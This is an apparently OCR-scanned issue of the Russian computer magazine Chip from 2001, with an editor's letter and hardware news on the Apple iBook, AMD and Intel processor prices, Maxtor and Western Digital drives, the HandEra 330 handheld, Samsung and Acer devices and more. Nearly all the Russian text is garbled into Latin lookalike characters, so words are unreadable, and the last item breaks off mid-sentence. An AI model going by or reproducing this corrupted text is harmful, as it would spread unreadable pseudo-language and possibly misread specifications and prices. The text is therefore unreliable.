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Bot m Bbimen b cbct 

Ham BTopoii HOMep 



Pafl npuBeTCTBOBaib Bcex, kto y>Ke 3HaeT Chip, m Tex, kto hm- 
TaeT Hac b nepBbiM pa3. Bbi CAe/ia/iM npaBM/ibHbm Bbi6op. M 
bot noneMy. 

CnaBHafl Hama Lje/ib — AaTb BaM o6'beKTMBHyio MHcjDopMa- 
Ai/iio o KOMnbiOTepax, KOMn/ieKTyioiAMx m nporpaMMHOM o6ec- 
neneHMM. npuneM KaK o caMbix noc/ieAHMx pa3pa6oTKax m 
H 0BMHK3X, TaK M 0 TOM, HTO OKpy>KaeT HaC B nOBCeAHeBHOM 
>KM3HM. 

HMeHHO nosTOMy 6o/ibwyio nacrb Hamero wypHa/ia cocraB- 
J153 HDT TeCTbl M o630pbl «>KeJie3a» M COCjDTa. no MX pe3y^bTaTaM 
Bbi CMO>KeTe, mcxoaa m 3 KanecTBeHHO-AeHOBbix m/im MHbix xa- 
paKTepMCTMK, CAe/iaTb co6cTBeHHbie BbiBOAbi o tom, hto no- 
AOMAeT KOHKpeTHO BaM. Mbi HMKorAa He 6yAeM HaBA3biBaTb 
BaM roTOBbix peweHMM. Ho Bbi BcerAa MO>KeTe Ha Hac paccHM- 
TbiBaTb, ec/iM BaM 6yAeT Hy>KHa aKTya/ibHafl m HecTHaa MHcfiop- 
Mauna. 3 to Haiua no/iMTMKa, m Mbi 6yAeM ee npMAepwMBaTbca 
HeyK/lOHHO. 

I/I eiAe xony CKa3aTb cnacM6o BceM, kto b riMCbMax m/im 
/imhho BbicKa3a/i HaM 3aMenaHMfl, coBeTbi m no>Ke/iaHMfl. HaM 
oneHb Ba>KHo 3HaTb Baiue MHeHMe o tom, hto Mbi Ae/iaeM. Uv\- 
LUMTe, 3BOHMTe, 33XOAMTe, Mbi OTKpbITbl flAfl /lK)6blX KOHT3KTOB. 

Ham /i03yHr: «Kto xoneT 3HaTb, tot HMTaeT Chip!». Mo>kho 
A 06aBMTb — 3HaTb M npMMeH^Tb 3TM 3H3HMfl B >KM3HM. 

Mbi TO/ibKO AaeM BaM MHcjDopMaLjMio. A Bbi6op BcerAa ocra- 
ejcn 3a BaMM. 


C HaM/iyHLUMMM noKe/iaHMAMM, 
maBHbm peAaKTop Chip 

AHApeft KoKoypoB 

akokourov@ichip.ru 
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Tri-Athlon m 266 no/ie 3 Hbix cobctob 


Ha MaTepMHCKoPi n/iaie KaKoro npon3BOAHTe/ifl, c KaKi/iM nnnceTOM m tmiiom 
naM5iTM Bbi AoemrHMTe MaKCMMaAbHOM npoM3BOAMTe/ibHOCTM npoueccopa 
Athlon m cKOAbKO 3 to 6yAeT croi/iTb? 06o BceM Bbi y3Haeie M3 Harnero Tecia 
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Apple 

HOBblM iBook RJlft CTyfleHTOB 

1 Maa 2001 rofla KOMnaHMA Apple npeAdaBM/ia ho- 
Bbm iBook. ripn pa3Mepax 28,5x23x3,4 cm oh Becm 
2,2 ki\ Bbino^HeHHbm b CTM/ie PowerBook G4 
Titanium, hobum iBook ocHaiueH axpaHOM c flMaro- 
Ha/ibio 12,1 fltoMMa c paspeiuatoiueM cnocobHOdbio 
1024x768 TOHeK, oahmm nopTOM FireWire m abyma 
USB, BCTpOeHHbIMM aHTeHH3MM M CJIOTOM Aono/i- 
Hme^bHoro noAK/noHeHMfl KapTbi AirPort. AKKyMy/m- 
Topbi o6ecneHMBaiOT BpeMA paboTbi KOMnbioTepa ao 
5 nacoB 6e3 noA3ap^AKM. HanMHKy iBook codaB/m- 
eT npoueccop PowerPC G3 500 MTu c 256 K6aMT 
K3LU-naMflTM 2-ro ypoBHA, BdpoeHHbiM MOAeM 56K, 
ceieBafl Kapia Ethernet 10/100 Base-TX, BMAGOKap- 
Ta ATI Rage Mobility 128 c BOceMbio MerabaMTaMM 
naMATn, wecTKMM amck 10 rbaMT Ultra ATA — b ob- 
lAeM, Bee KaK no/iaraeTCfl. Pa3/iMHM8 b nociaBKe co- 
da B/meT mribKO pa3Mep onepaTMBHOM naMATM (64 
njin 128 MbaMT) m h a/i m h i/i e CD/CD-RW m/im DVD- 
npMBOAa. flaHHaa MOAe/ib paboiaei noA ynpaB/ieHM- 
eM Mac OS 9.1 n AO/DKHa 6biTb AOdynHa b MocKBe b 
moHe 2001 roAa no ueHe ot $1600 ao $1970. 

0 MOIAHOCTM HOBOTO iBook M O TOM, HaCKO/lbKO OH 
noAxoAHT CTyAGHTaM, cyAme caMM. Ecjim Bbi npoBe- 
pjuui cbom npeAbiAyiAHM iBook Ha npoHHOdb, m oh 
H e BbiAepwa/i, to c hobom MOAe/ibio 3Toro He 
cnyHMTCfl. no yTBep>KAGHMK) Apple, c^eAyioiuee 
noKO/ieHMe iBook b Asa pa3a npoHHee, Tax hto A-nfl 
AOCTM>KeHM^ pe3y/ibraTa ycM/me HaAO npM/io>KMTb 
KaK MMHMMyM b ABa pa3a bo/ibiuee. 


IBM 

HOBblM BeK — HOBbie 
TeXHOJIOrMM 


IBM pa3paboTa/ia HOByio TexHO/iorMio npon3BOACTBa 
>KMAKOKpncTa/i/iMHecKMx AMcn/ieeB. PaHee npMMeHfle- 
MblM KOHTaKTHblM MeTOA BbipaBHMBaHMfl >KMAKOKpMCTa/l- 
/lMHecKMx MO/ieKy/i TpeHMeM, Ha kotopom b TeneHMe no- 
cneAHnx 20 /ieT CTpoflTCfl LCD-MOHMTopbi, 6a3npyeTCfl Ha 
HayHHbix OTKpbiTmix, CAe/iaHHbix eiue b 1906 roAy. 3a 
nocneAHMe HecKO/ibKO /ieT cymecTBeHHO yjiyHWMTb Tex- 
Ho/iomio npon3BOACTBa He yAaBa/iocb. Cepbe3HOM npe- 
rpaAOM p,nn ynyHweHMfl pa3peiuaiOLAeM cnocobHOdM ab- 
/m/iocb to, hto (|DM3MHecKMe npoueccbi, npoMcxoAJUAMe b 
>KHAKOK pncTa/i/inHecKon MO/ieKy/ie np m TpeHMM, eiue He 
M3yneHbi ao KOHua. 

B hobom 6ecKOHT3KTHOM mctoag, pa3pa6oTaHHOM IBM, 
Mcno/ib3yeTC8 HanpaB/ieHHbm noTOK mohob p,nn BbipaB- 
HMBaHMfl >KMAKOKpMCTa/UlMHeCKMX MOJieKy/1 B n/lOCKMX 
LCD-MOHMTOpaX. I/I3IOMMHKOM ASHHOM TeXHO/lOTHM flB/lfl- 

eTCJi HaHeceHMe tohkoto c/ioa ymepoAa BMecTO mc- 
nojib30BaBweMCfl paHee no/iMMepHOM noA/io>KKM. 3aTeM 
HanpaB/ieHHOM MOHHOM 60M6apAMp0BK0M M3 3TOrO CJlOfl 
(J)opMnpyeTCJi peweTKa MO/ieKy/mpHoro pa3Mepa. npM 
npMcoeAMHeHMM Tpy6Koo6pa3Hbix wMAKOKpMCTa/uiMHec- 
kmx MO/ieKy/i Ka>KAafl M3 hmx nonaAaeT oahmm kohljom k 
aTOMy ymepoAa m BbipaBHMBaeTCfl b p^Abi. Mcno/ib30Ba- 
HMe HOBOM TeXHOJlOTMM 33M6THO y/iyHLUaeT KaneCTBO 3K- 
paHa m yro/i o63opa, cymecTBeHHO CHMwafl npM stom 3a- 
TpaTbl Ha npOM3BOACTBO. nepBafl AGMOHCTpaUMJI npOTO- 
TMna hoboto Ancn^e^ coctomtcji Ha e>KeroAHOM BCTpene 
SID (Society of Information Display) 3-8 vwohh b CaH- 
Xoce, KajincfjopHnfl. IBM n/iaHMpyeT /iMAeH3MpoBaTb 3a- 
naTeHTOBaHHyto TexHo^orMio ApyrMM npoM3BOAMTe/iflM 
n/iocKonaHe/ibHbix mohmtopob, a T3K>Ke nepeBecTM Ha 
Hee cbok) npoAyKUMio k KOHuy 3Toro roAa. 


IDC 

JKnflKOKpucTa/i/iimecKMe 
AMcnsieu CTa/iii fleuieBJie 

no AaHHbiM nccneAOBaHMM IDC, b 2000 roAy 3HaHMTe/ibHO 
noAeiueBe^M >KMAKOKpMCTa/uiMHecKMe AMcn/ieM. Ctom- 
MOCTb AMcn^eeB c AMaroHa^bio 14 akjmmob yMeHbiuM^acb 
Ha 28%, a 15-AK)MMOBbie obecueHM^MCb Ha 30%. Mmchho 
3tm Aea pa3Mepa no/iyHM/iM HaM6o^biuee pacnpocTpaHe- 
HMe: BMeCTe OHM 3aHMMatOT 63% pbIHKa >KMAKOKpMCTa/l- 
JlMHeCKMX AMCn^eeB. no MHeHMIO aHa/lMTMKOB, B Aa/lb- 
HeMiueM o6-beM npoAa>K b stom ceKTope pbiHKa 6yAeT 
y Be/i m h m B aTbCJi . 3 to CBji3aH0 c TeM, hto paHee LCD- 
MOHMTopbi Mcno^b30Ba^MCb MCK/HOHMTe/ibHO b HoyTbyKax, 
a Tenepb noflBM/iMCb m b TpaAMUMOHHbix desktop- 
CMCTeMax. 



Maxtor m Western Digital 

80 r6aftT a na 
pBAOBoro no/ib 30 BaTe/ifl 

KoMnaHMM Maxtor m Western Digital o6"b53BM/iM o Ha- 
nane npoM3BOACTBa a^ckob 6onbmoM cmkoctm: 
Maxtor DiamondMax 80 n Western Digital Caviar 
WD600AB obteMOM 80 n 60 T6aMT cooTBeTCTBeHHO. 
CroMMOdb xpaHeHMA MerabaMTa MHcjDopMaunn Ha 
3TMX HOCMTe/18X COCTaBMT 0,3 LjeHTa. npOM3BOAMTe/lM 
ocHacTM/iM ycTpoMCTBa noAAop>KKOM MHTepcfjeMca 
Ultra ATA/100, npM stom TeopeTnnecKafl CKopocTb 
nepeAaHM AaHHbix cocTaBnjieT 100 M6aMT/c. Ha 
npaKTMKe, OAHaKO, amckm He noKa3biBaiOT t3kmx 4)aH- 
TacTMHecKMx cKopocTeM. CaMoe MHTepecHoe to, hto 
amckm BecbMa AOCTynHbi: Maxtor DiamondMax 80 
(80 T6aMT) ctomt $279,99, a Western Digital Caviar 
WD600AB (60 T6aMT) Bcero $178,99. 

Intel m AMD 

BecnpeijeAeHTHoe crnDKemie 
ueH Ha npoueccopbi 

KoMnaHMM Intel b onepeAHOM pa3 CHM3M/ia ueHbi Ha 
npoueccopbi Pentium 4, a T3K>Ke MobMnbHbie m Ha- 
CTonbHbie MOAM^MKauMM Pentium III m Celeron. HaM- 
6onbiuee yAeiueBneHMe KOCHynocb npoueccopoB 
1,5 m 1,3 rru — mx ueHa ynaAeT Ha 19% m coct3bmt 
$519 m $268 cooTBeTCTBeHHO. MoAe^b c nacTOTOM 
1,4 rru noAeiueBeeT Ha 11% m 6yAeT CTOMTb $375. 
CoKpaiueHMe ueH OTpa3MTCfl m Ha 1,7 rru Pentium 4, 
BbixoA KOToporo o>KMAaeTC8 nepe3 HeAe^io. Ero ueHa 
COCTaBMT $701. KoMnaHMA AMD noAXB3TM/ia MHMAMa- 
TMBy Intel m CHM3M/ia ueHbi Ha HeKOTopbie npouecco- 
pbi cepMM Duron Ha 34%, a cepMM Athlon — Ha 31%. 
Tax, 800 MTu Duron noAeiueBeeT c $98 ao $65, a 
1,3 rru Athlon Tenepb 6yAeT CTOMTb $265 BMecTO 
$381. Bee npMBeAeHHbie ueHbi AGMCTBMTe/ibHbi 
OEM-noKynaTeneM b napTMflx ot 1000 lUTyK. 
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TeLMe. 

He6ocKpe6 M3 Abctphh 

AbCTPMMCKMM npOM3BOflme^b M06n/lbHblX Te^ecjDO- 
hob, mp3-n/ieMepoB m MHTepHeT-o6opyAOBaHMA 
Tel.Me. 2 Maa 2001 rofla aHOHCMpoBa/i hobum mo- 
6n/ibHbiM Te^e4)OH T911 c noflflepwKOM ciaHflapia 
GPRS — nepBbm M3 cepMM Skyscraper 
(«He6ocKpe6»). HecMOTpa Ha Bee 90 rpaMM m pa3- 
Mep 10,8x4,7x1,8 cm, stot TeAecfiOH oO^aflaeT 

OHeHb lill/ipOKMMM B03M0>KH0CTflMM. llpM MCn0Ab30- 
BaHMM GPRS AOcmraeTCfl CKopocTb nepeflaHM flaH- 
Hbix 85600 6mt/c. riepeflana ocyiAecTBAAeTCA no 
wee™ KaHa^aM (neibipe mcxoaalamx m ABa bxoaa- 
lamx). 3to no3BO^jieT ydaHOBHTb nocroAHHoe co- 
eAMHeHMe c 1/lHTepHeiOM m McnoAb30BaTb WAP Ha 
6oAee BbicoKMx ckopoctax. f\nn OTodpaweHMA 
CTpaHMA b Te/iecfDOH MHTerpnpoBaH WAP 1.2 6po- 
y3ep. l/lcno^b30Baib sto nyAO coBpeMeHHOM TexHO- 
aotmm mo>kho neTbipe naca b pe>KMMe pa3roBopa m 
250 nacoB b pe>KMMe o>KMAaHMA 6e3 noA3apAAKM 
3a cneT npMMeHeHMA AMTMM-MOHHbix aKKyMyAATO- 
poB. /Via 6oAee yAo6Horo ao3boh3 b Te^ecjjoHe 
pea^M30BaHa cfiyHKAMA roAOCOBoro Ha6opa HOMe- 
pa. ripi/l >Ke/iaHMM M0>KH0 HaCTpOMTb TOH Bbl30Ba 
mam aKTMBMpoBaib pe>KMM Bn6po3BOHKa. B Kanecr- 
Be Aono^Hme^bHbix anceccyapoB npeAAaraeTCA 
ncno^b30Baib HayiuHMKM CTexHOAomeM Bluetooth 
mam mp3-nAeMep. Ha noAHOABeTHOM AMcnAee 
(6x16 cmmboaob) mo>kho BbinoAHMTb Bee Heo6xo- 
AMMbie HacTpoMKM TeAecfioHa, a Taione noMrpaib b 
nrpbi. B HaiuMx ceTAx T911 CMO>KeT HopMa/ibHO 
cfjyHKUMOHMpoBaTb, nocnoAbny b Hero BdpoeHa 
noAAep>KKa GSM 900/1800 m EGSM. OaaeTCA 
TO/ibKO >KAaTb noABAeHMA «He6ocKpe6a» b Poccmm. 
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HandEra 

nOflBMflCfl Ha/iaflOHHMK 

HandEra 330 

B KOHije anpeAA KOMnaHMA HandEra, M 3 BecmaA mho- 
tmm no KapMaHHOMy KOMnbtoiepy TRGPro, aHOHCMpo- 
Ba/ia HOBbiM PDA — HandEra 330. flaHHaA MOAeAb ab- 
AAeTCA HOBeMLUMM m, bmammo, /lyHLUMM npeAcraBMTe- 
jieM ceMeucTBa Palm. Han 6 o^ee BnenaTAAioLAeM oco- 
6 eHHOCTbio HandEra 330 abaaotca ceHcopHbm anpaH 
(QVGA) c BbicoKMM pa 3 pemeHMeM 320x240 nMKceAeM, 
pa 3 Mep KOToporo 55x73 mm. l/lH^opMaumi bbiboamtca 
b 16 rpaAauMflx ceporo, npMHeM He mnbKO b BepTM- 
Ka/lbHOM, HO M B rOpM 30 HTaAbHOM pe>KMMe. riO/lH bie 
B 03 MO)KHOCTM AMCnAeA CMOTyT MCnO/lb 30 BaTb TOAbKO 
cneuna^bHO HanMcaHHbie nporpaMMbi, ho o coBMecm- 
MOCTM CO CTapbIM 110 MO>KHO He 6 eCnOKOMTbCA : OHO 
6 yAeT padoTaTb b pa 3 peweHMM 160x160 nHKce/iew. 
PyHHOM bboa MHC^opMauMM ocyiAecTBAAeTCA nocpeA- 
ctbom MaHMnyAATopa TMna jog dial, KOTopbm pacnoAa- 
raeTCA Ha 6okobom Haem ycrpoMCTBa. B KanecTBe 
nporpaMMHoro oOecneneHMA McnoAb 3 yiOTCA CTaHAapT- 
Hbie Palm-npMAO>KeHMA, a Taione CardPro pj\a Aociyna 
k CF-, SD- m MMC-napiaM; Chapura Pocket Mirror ana 
B 3 an mocb}13m c MS Outlook; Backup m Quickoffice pj\a 
CMHXpOHM 3 aUMM ASHHblX C Microsoft Excel H C 03 AaHMJI 
MAM peAaKTMpOBaHMfl TeKCTa B (}DOpMaTe, COBMeCTMMOM 

c MS Word. Bee pa6oiaei noA ynpaBAeHMeM Palm OS c 
paciiiMpeHMeM aaa Aociyna k CompactFlash, Secure 
Digital m MultiMediaCards. Aaa Bcex TMnoB napT cy- 
mecTByiOT cneuna/ibHbie CAOTbi. BbiCTpoAeMCTBMe ao- 
CTMraeTCA 3a cneT npoueccopa 33 MTu Motorola 
Dragon BaLL-VZ, 8 M6aMT onepan/iBHOM naMjui/i m 
2 M6aMT FLASH. nepeAana m CMHxpoHM3auMA AaHHbix 
ocymecTBAfleicji nan nepe3 MHcjipaKpacHbm nopi (LrDA 
vl.2). Tan m nepe3 CTaHAapTHbiM Palm HotSync MHTep- 
(JjeMC. PaciiJMpAeT bo3mo>khoctm HandEra 330 Bdpo- 
eHHbiM MMKpocfiOH m AMH3MMK. KoMnbiOTep pa3MeiAa- 
eTCA b MeiaAAMHecKOM Kopnyce pa3MepoM 
121x81x17 mm m BecMT 167 rpaMM c 3/ieMeHTaMM 
nmaHMA AAA. B KanecTBe MCTOHHMKa umanm mo>kho 
MCnOJlb30BaTb M AMTMM-MOHHbie aKKyMyAATOpbl, KOTO- 
pbie, npaBAa, HaAO noxynaTb OTAeAbHO. Ha/iaAOHHMK 
coBMecTMM c PC m Macintosh. HandEra 330 o6omagtca 
b $350 6e3 yneia ctommoctm AOCTaBKM M3-3a oneaHa. 



AMD 

CaMbIM 6blCTpbm 
Compaq Presario 

KpynHeMiuMM npon3BOAmeAb KOMnbtoiepoB, KOMnaHmi 
Compaq, Hana^a npoAa>KM Hoyidyna Presario 1200Z c 
npoqeccopoM Athlon 1 ITu npon3BOACTBa AMD. 3to ca- 
Maji MOiAHaA MauiMHa ceprn/i Presario 1200. /lMHeuny 
npoqeccopoB, bxoaaiamx b stot MOAeAbHbm p^A co- 
CTaB/miOT Intel Celeron 766 MTa, Pentium III 750 MI"a, 
AMD Athlon 900 MTa mam 1 ITa. ripM ashhom KOHcfiMry- 
papMM (CMOTpMTe TadAMAy) CTOMMOCTb MOdMAbHOTO 
KOMnbiOTepa cocraBAAeT $1924, pa3yMeeTCA, Ha TeppM- 
TOpMM CLUA. ■ ■ ■ 


Presario 1200 cepMM 


1 rrA AMD Athlon npoAeccop 
llaMATb 128 M6aMT SDRAM 133 MTa 
BMHH edep 15,0 TOaMT UltraDMA 
8x DVD-npMBOA 

14,1-AKJMMOBbiM TFT XGA-AMcnAeM 
56K Modem Card 

Trident CyberBlade BMAeoanceAepaiop c 4 M6aMT 
naMATM 

3,5-AK)MMOBblM AMCKOBOA 
AC Adapter 

3,6 A/h Lilon annyMyAATopbi 
J BL Pro Audio System with Bass Reflex 
Microsoft Windows Millennium Edition 
Microsoft Featured Home Collection w/Word 
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Lexmark 

Hobmhkm ot Lexmark 

Cneui/ia/iMCTbi cf)npMbi Lexmark npeflCTaBM/iM flBe HOBbie MOAe/iM UBeT- 
Hbix cipyMHbix npi/imepoB Z43 m Z53. 06a ycrpoMCTBa noAAep>KMBaiOT 
pa3peiueHMe 2400x1200 ToneK Ha aiomm. npon3BOflme^bHOCTb Z53 
— 16 CTpaHMU b MMHyiy npM HepHO-6ejiOM nenaTM m 8 crpaHMq qBeT- 
hom, Z43 pa6oTaeT co CKopocTbto 12 m 6 cipa h m 14 cooTBeTCTBeHHO. 
Hobmhkm noflBATCfl Ha eBponeMCKOM pbiHKe no qeHe 400 m 250 Ma- 
poK. 06a npMHTepa cnoco6Hbi cfiyHKUMOHMpoBaTb nofl Windows, 

Mac OS m Linux. 

AMD 

AMD npeACTaBii^a Mo6n.nbHbm Athlon 4 

14 Maa AMD npeflCTaBM/ia nepBbie Mo6M/ibHbie npoqeccopbi 1/13 jiMHeM- 
km Athlon 4 Ha hobom jiflpe Palomino. Heibipe MOflejii/i c nacroTaMM 
850, 900, 950 m 1000 MTu cra/iM AOcrynHbi p,nn npoM3BOAMTe/ieM y>Ke 
b cepeAMHe Maa. OeHa b napTMax ot 1000 WTyK cocraBM/ia $240, 

$270, $350 h $425 cooTBeTCTBeHHO. OAHOBpeMeHHO c Athlon AMD 
npeAdaBM^a Mo6M/ibHbie moag/im m3 M/iaALueM jimhcmkm, KOTopbie Te- 
nepb M3roTOB/ui kdtcji Ha AApe Morgan. IJeHa Ha npoqeccopbi Duron 
800 m 850 b omoBbix napTMflx cociaBm $170 m $197. Ilo yTBep>KAe- 
hmk) AMD, nepBbiM npoM3BOAMTe/ieM Hoyi6yKOB Ha aapg Palomino 6y- 
AeT Compaq. 

1/lHTepecHo, hto AMD o 6 ~ bf \ BiAj]a Mo6M/ibHbie BepcMM Palomino m 
Morgan paHbiue, neM aHa/iorMHHbie p,nt\ HacmnbHbix cmctcm. Mo>kho 
npeAno^o>Kmb, hto KOMnaHMji cepbe3HO 3aHATa noAroTOBKOM k Bbiny- 
CKy a3bho o6eiAaHHOM AByxnpoqeccopHOM KOHcjDMrypaqMM Athlon 4 m 
HMnceTa 760MP. BepcMM o6biHHbix npoqeccopoB p,nn HacmnbHbix cmc- 
TeM (oahh CPU) nojiBATCJi TO/ibKO b TpeTbeM KBapTa/ie 3Toro roAa. 
OcHOBHbiMM ycoBepiiieHCTBOBaHmiMM Palomino m Morgan 6yAeT noHM- 
>KeHHoe Ha 20% 3/ieKTponoTpe6/ieHne, yjiyHweHHbm MexaHM3M npeA- 
CKa3aHMA BeTB/ieHMM f\nn Ksm-naMATM m Aono/iHMTe/ibHbie 52 MHcrpyK- 
Amh b Ha6ope 3DNow! ripeABapMTe/ibHoe TecTi/ipoBaHi/ie n0Ka3a.no, hto 
npeMMymecTBO HOBbix BepcMM flApa naA Thunderbird m Spitfire cocra- 
bmjio 10% b Sysmark m ot 6 ao 15% b pjiAOBbix npi/mo>KeHMflx. Mo- 
6n^bHbie npoqeccopbi c HOBbiM aapom no/iynaT Ao6aB/ieHMe k TexHO- 
jiotmm PowerNow! b BMAe BcrpoeHHoro TepMOABTHMKa, Kompbm no3- 
bojimt npeAOTBpaTMTb neperpeB m CMO>KeT noHMwaTb TaKTOByto Hacm- 
Ty CPU Ha 30%. 

OcjDMAi/iajibHafl KapTMHa c BbinycKOM Mo6mibHbix npoqeccopoB Bbir/m- 
Amt BecbMa onTMMMCTMHHo, OAHaKO Ha npaKTMKe He Bee Tax xopoiuo. 
npecc-cnywba AMD 3aflB/meT, hto Mo6M/ibHbm Morgan eiue He totob 
no/iHOCTbio, a BbixoA roAHbix HMnoB Palomino eiue He Tax BbicoK, hto- 
6bi tohho CKa3aTb, b KaKOM napTMM 6yAeT 64 K6aMTa K3w-naMflTM nep- 
Boro ypoBHfl, a b KaKOM 256. 



Deep Video Imaging 

06'beMHoe 

M3o6pa>KeHne Ha MOHMTope 

l1onb30BaTe^M cxopo no/iynaT B03M0>KH0CTb pa6oTaTb 
C MOHMTOpaMM, KOTOpbie 6yAyT BbIBOAMTb HaCTOJUAee 
TpexMepHoe M3o6pa>KeHMe. MOHMTopbi, pa3pa6oTaH- 
Hbie nacTHOM HOB03e/iaHACKOM (Jdmpmom Deep Video 
Imaging (DVI), BbiBOAflT M3o6pa>KeHMfl b AByx c()M3m- 
necKMx nnocKOCT^x p,nf\ C03AaHM^ peanbHOM my6nHbi 
M3o6pa>KeHmi. 

«J1 to ah Kax cyMacuieALUHe nbiTaiOTC^ Ao6nTbCJi iamuo- 
3MM TpexMepHocTM, OAHaKO caMoe 6onbiuee hto mm 
MM eeM — 3TO 3D-OHKM, KOTOpbIMM MO>KHO nOnb30- 
BaTbCfl TonbKO HaxoAflCb b onpeAeneHHOM no3HAHM 
OTHOCMTe/lbHO MOHMTOpa», — TOBOpMT AHpeKTOp DVI 
/1mm CyH Xok (Lim Soon Hock). 

HOBbiM MOHMTOp, COCTOJ11AMM M3 HeCKOJlbKMX C^OeB 
>KMAKOKpMCTaJlJlMHeCKMX 3Kp3HOB, n03BO^JieT BMAeTb 
KaK cfioHOBbie, Tax m nepeAHen/iaHOBbie o6-beKTbi 6e3 
Mcnonb30BaHM^ cneqManbHbix cpeACTB BpoAe Tpex- 
MepHblX OHKOB. 

Pa3pa6oTKOM y>Ke 3aMHTepecoBanMCb mhotmc mhoct- 
paHHbie KOMnaHMM. «Mbi c/ieAMM 3a BceM MH^opMaqM- 
eM, KOTOpa^l OTHOCMTC51 K 3TMM M0HMT0p3M», — TOBO- 
pMT AHpeKTOp MH>KeHepHOrO M 3KOHOMMHeCKOrO OTAe- 
na CMHranypcKoro rocyAapcTBeHHoro I/I HCTMTyTa Bbi- 
cokmx KOMnbtOTepHbix TexHO/iorMM OoHr 1/leB HaH 
(Fong Yew Chan). 1/lHCTMTyT, KOTopbm 33HMMaeTC5i 
pa3pa6oTKOM nporpaMM-CMMy/i5iTopoB, y>Ke npMCTynM^ 
K C03A3HMK) npMJ10>KeHMM flJ\S\ HOBOTO MOHMTOpa. 
OAHaKO noKa pa3pa6oTHMKM CTa/iKMBatOTC5i c npo6ne- 
MaMM <oc}K}DeKTa paAyrM», MHane Ha3biBaeMoro Myap- 
MHTepcfiepeHAMeM, KOTopbm B03HMKaeT npM 
Ha/io>KeHMM OAHoro LCD-3KpaHa Ha Apyroii, m <oc|d- 
(fieKTa oKOHHoro naKeTa», npM kotopom coceAHMe 
LCD-3KpaHbi OTpa>KaiOT CBeT Apyr Apyra, M3-3a Hero 
Tep^eTC^ KOHTpaCT M3o6pa>KeHM^. 

HoBbie MOHMTopbi TOHbiue o6biHHbix annapaTOB c 3^e- 
KTpOHHO-nyneBOM Tpy6KOM, M COBMeCTMMbl CO BCeMM 
onepaqMOHHbiMM cMCTeMaMM. 

DVI, KOTopa^ (JiMHaHCMpyeTCfl cmnMqaMM Hobom 3e- 
naHAMM m CMHranypa, y>Ke no/iyHM/ia HecKonbKO 
Me>KAyHapoAHbix naTeHTOB m ycnena noTpaTMTb 
$3,5 m/ih Ha Mcc/ieAOBaHMfl. KOMnaHMM He 6yAeT Bbi- 
nycKaTb MOHMTopbi caMa, ho HaAeeTCfl Ha npoAa>Ky 
TeXHO/lOTMM APyrMM (JlMpMaM. 

B nnaHax DVI — co3A3HMe npoTOTMnoB mohmtopob pj\s\ 
HacTonbHbix pemeHMM y>Ke b cneAyioiueM roAy. 


Samsung 

3 Aonnapa 3a rpaMM 

KoMnaHMA Samsung Electronics Co. 
Ltd. aHOHCMpoBa/ia caMbm ManeHb- 
kmm mp3-nAeep c MHTepcfieMCOM 
USB m 32 M6aMT naMSTM Mini-Yepp. 
3tot nepeHOCHOM « m a/i bi m » o6na- 
AaeT npaKTMHecKM BceMM cbomctb3- 
mm cbomx CTapuiMx 6paTbeB. Oh oc- 
HaiAeH >KMAKOKpMCTa/lJlMHeCKMM 
AMcnneeM, Ha kotopom OTo6pa>Ka- 
eTCfl MHcfiopMauMji 0 npourpbiBae- 

MOM KOMn03MAMM, AaTa M BpeMfl. 
TaK>Ke b npoMrpbiBaTe/ib BCTpoeH 
3KBanaM3ep c neTbipbMji npeAycTa- 
HOB/ieHHblMM HaCTpOMK3MM A-n^ H 3 - 
MeHeHMji My3biKanbHoro ctmaa m cm- 
CTeMa ycMneHM^ HM3KMX nacTOT. 
Pa3Mep n^eepa Bcero 28x57x22 mm, 
a Bee — 33 rpaMMa 6e3 mctohhmk3 
nMTaHM^. B KanecTBe 6oHyca k 
Mini-Yepp 6yAyT npunaraTbCJi no/i- 
Hbie KOMn03MAMM T3KMX MCnO/lHMTe- 
jieM, KaK Samantha Mumba, Monster 
Magnet, Blues Traveler m Cold. Yct- 

pOMCTBO nOKa AOCTynHO TO^bKO B 
CUJA no qeHe $100 3a 33 rpaMMa. 
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Acer 

CD-RW b flopory 

KoMnaHMA Acer npMcrynM/ia k no- 
CTaBKaM BHeiuHero CD-RW npMBO- 
fla MiniRW 6424MU, npeflHa3Ha- 
neHHoro npe>Kfle Bcero A-nfl mc- 
no/ib30BaHnn c Hoyi6yKaMM. rioA- 
K/noneHMe ocyLAecTB/meTcn nepe3 
MHTepcfjeMC USB 1.1, npM stom 
CKO pOCTb CHMTblBaHMfl CD COCTaB- 
jifleT 8x. KaK Aono/iHMTe/ibHan on- 
Uma npeflycMaipHBaeicji bo3mo>k- 
HOdb noAK/itoHeHnn nepe3 
PCMCIA mjim Firewire, npn stom 

CKOpOCTb CHMTblBaHMfl COCTaBMT 
24x, a CKopocTb 3anncn n nepe3a- 
riMCM OCTaHeTCfl HeM3MeHHOM. 

C 3TMM npMBOflOM MO>KHO MCnOJlb- 
30BaTb CTaHflapTHbie amckm AMaMe- 
TpOM 120 MM M «Ma/lK)TKM» 80 MM. 
Po3HMHHaji ueHa MiniRW 6424MU 
cocTaBm $220. 

flaHHoe ycTpoMCTBO noAAep>KHBa- 
ei TexHo/iomto Seamless Link, ko- 
Topan no3BO/meT CD-RW amckobo- 
Ay 3anoMHHaTb aApec tohkm okoh- 
naHnn 3anncn n ocraHaB/inBaTb 
3anncb Ha BpeMn B03HMKH0BeHMn 
owm6km nepeno/iHeHMn 6y(J)epa. 
flaHHan npo6neMa MoweiObiTb 
Bbi3BaHa MeA/ieHHoii pa6oTOM 
KOMnbioTepa, napa/uiejibHbiM 3a- 
nycKOM KaKoro jim6o npn/ioweHMfl, 
HeAOCTaTOHHOM nponycKHOM cno- 
COOHOCTbK) CeTM M T. A- 


Sony 

Ee3 IP — KaK 6e3 pyK 

Ha npoiueAiueM b /lac-Berace BbicraBKe NAB2001 
npeACTaBme^M KOMnaHMM Sony 3aflBM/iM, hto b 
ckopom BpeMeHM Bee ycTpoMCTBa, BbinycxaeMbie 
KOMnaHMen, 6yAyT CHabwaTbcn coOcTBeHHbiMM 
IP-aApecaMM. 

MHTepHeT-peBomouHfl Sony KOCHeTcn KaK ObiTOBbix, 
TaK M npOMbHUJieHHblX yCTpOMCTB. B KOMnaHMM yBe- 
peHbi, hto b anoxy moba/ibHbix ceieM, kotas 1/lHTep- 
HeT nB/meTcn HaM6o/iee HaAe>KHbiM cpeACTBOM cba- 
3m, IP-aApeca ao/okhw MMeTb Bee ynacTHMKM ceie- 
boto B3aMMOAeMCTBMji. CKopee Bcero, Sony 6yAeT 
Mcnonb30BaTb He coBpeMeHHyio BepcMto IP-aApeca, 
a HOBbm CTaHAapiIPv6 co 128-6 mthom cmctcmom 
aApecauMM, no3BOJimoLAeM nonyHMTb noHTM Heo- 
